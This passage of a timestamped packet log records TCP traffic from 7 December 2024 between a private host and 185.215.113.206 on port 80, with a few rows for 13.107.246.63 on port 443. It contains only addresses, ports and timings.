Dec 7, 2024 18:26:17.245748043 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.245760918 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.245790005 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.245790005 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.245827913 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.246848106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.246972084 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.247920990 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.248003960 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.248763084 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.248830080 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.307568073 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.307687044 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.307776928 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.307846069 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.308027029 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.308089018 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.308249950 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.308300972 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.309015989 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.309061050 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.309497118 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.309544086 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.309861898 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.309914112 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.310038090 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.310086966 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.310724974 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.310795069 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.310858965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.310909986 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.311649084 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.311697960 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.311923981 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.311980009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.312572002 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.312628984 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.312710047 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.312762022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.313536882 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.313596964 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.313658953 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.313721895 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.314472914 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.314521074 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.314630032 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.314673901 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.315428972 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.315490961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.315530062 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.315572977 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.316376925 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.316426992 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.316725016 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.316772938 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.317389011 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.317435026 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.317821026 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.317863941 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.318239927 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.318300962 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.318360090 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.318422079 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.319205046 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.319255114 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.319341898 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.319381952 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.320075989 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.320133924 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.320194006 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.320238113 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.321367025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.321377993 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.321413994 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.321443081 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.322102070 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.322140932 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.322153091 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.322177887 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.323030949 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.323100090 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.323106050 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.323138952 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.323852062 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.323916912 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.323934078 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.323977947 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.324762106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.324811935 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.324861050 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.324898958 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.325783014 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.325824976 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.325850010 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.325894117 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.325901985 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.325944901 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.325973988 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.325992107 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.326041937 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.326184034 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.326235056 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.326620102 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.326673985 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.326785088 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.326889992 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.327631950 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.327678919 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.327769995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.327815056 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.328512907 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.328572035 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.328682899 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.328732967 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.329524994 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.329580069 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.329982042 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.330024958 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.330456972 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.330504894 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.330555916 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.330600977 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.331412077 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.331478119 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.331737041 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.331784010 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.332285881 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.332334995 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.332463026 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.332508087 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.333220959 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.333302021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.333385944 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.333430052 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.334197998 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.334263086 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.334347010 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.334409952 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.335170984 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.335221052 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.335309029 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.335374117 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.336065054 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.336122036 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.336150885 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.336215973 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.336967945 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.337053061 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.337214947 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.337271929 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.338020086 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.338064909 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.367116928 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.367163897 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.367230892 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.367280960 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.367404938 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.367459059 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.367554903 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.367602110 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.368324995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.368386984 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.368475914 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.368530989 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.369256973 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.369302988 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.369738102 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.369787931 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.370167971 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.370222092 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.370342970 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.370392084 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.371195078 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.371257067 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.371339083 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.371388912 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.372067928 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.372139931 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.372389078 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.372446060 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.373069048 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.373141050 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.373310089 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.373362064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.374007940 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.374074936 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.374180079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.374233961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.374874115 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.374933004 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.374996901 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.375047922 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.375962973 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.376027107 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.376043081 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.376091957 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.376781940 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.376833916 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.376919985 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.376961946 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.377672911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.377726078 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.377810955 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.377855062 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.378578901 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.378639936 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.433414936 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.433494091 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.433494091 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.433533907 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.433634996 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.433670044 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.433830023 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.433870077 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.434439898 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.434487104 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.434623957 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.434668064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.435395002 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.435441017 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.435544968 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.435604095 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.436402082 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.436455011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.436492920 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.436537981 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.437350035 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.437402964 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.437432051 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.437470913 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.439111948 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.439127922 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.439138889 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.439182043 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.439208031 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.499701023 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.499716043 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.499824047 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.499988079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.500000954 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.500041962 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.500065088 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.500556946 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.500590086 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.500637054 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.500664949 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.500677109 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.500700951 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.501014948 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.501028061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.501075029 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.501697063 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.501764059 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.501844883 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.501893997 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.502629995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.502705097 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.502871037 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.502929926 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.503521919 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.503587008 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.503633022 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.503674030 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.504429102 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.504489899 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.504539967 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.504585981 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.505692959 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.505709887 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.505764961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.506334066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.506400108 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.506433964 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.506469011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.507311106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.507390022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.507410049 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.507452011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.508181095 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.508236885 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.508327007 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.508378983 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.509135962 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.509213924 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.509283066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.509332895 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.510094881 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.510166883 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.510266066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.510328054 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.510982990 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.511044979 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.511198044 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.511243105 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.511929035 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.511991978 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.512087107 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.512132883 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.512876034 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.512947083 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.513128042 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.513180017 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.513797998 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.513849020 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.513957024 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.514003038 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.514925957 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.514991045 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.515173912 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.515249968 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.515695095 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.515758038 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.515820026 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.515866041 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.516617060 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.516670942 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.516736031 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.516773939 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.517620087 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.517678976 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.517719984 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.517760038 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.518516064 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.518580914 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.518619061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.518661022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.519643068 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.519656897 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.519716978 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.520423889 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.520474911 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.520540953 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.520584106 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.521368027 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.521435022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.521469116 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.521509886 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.522351027 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.522424936 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.522756100 CET	80	49699	185.215.113.206	192.168.2.7
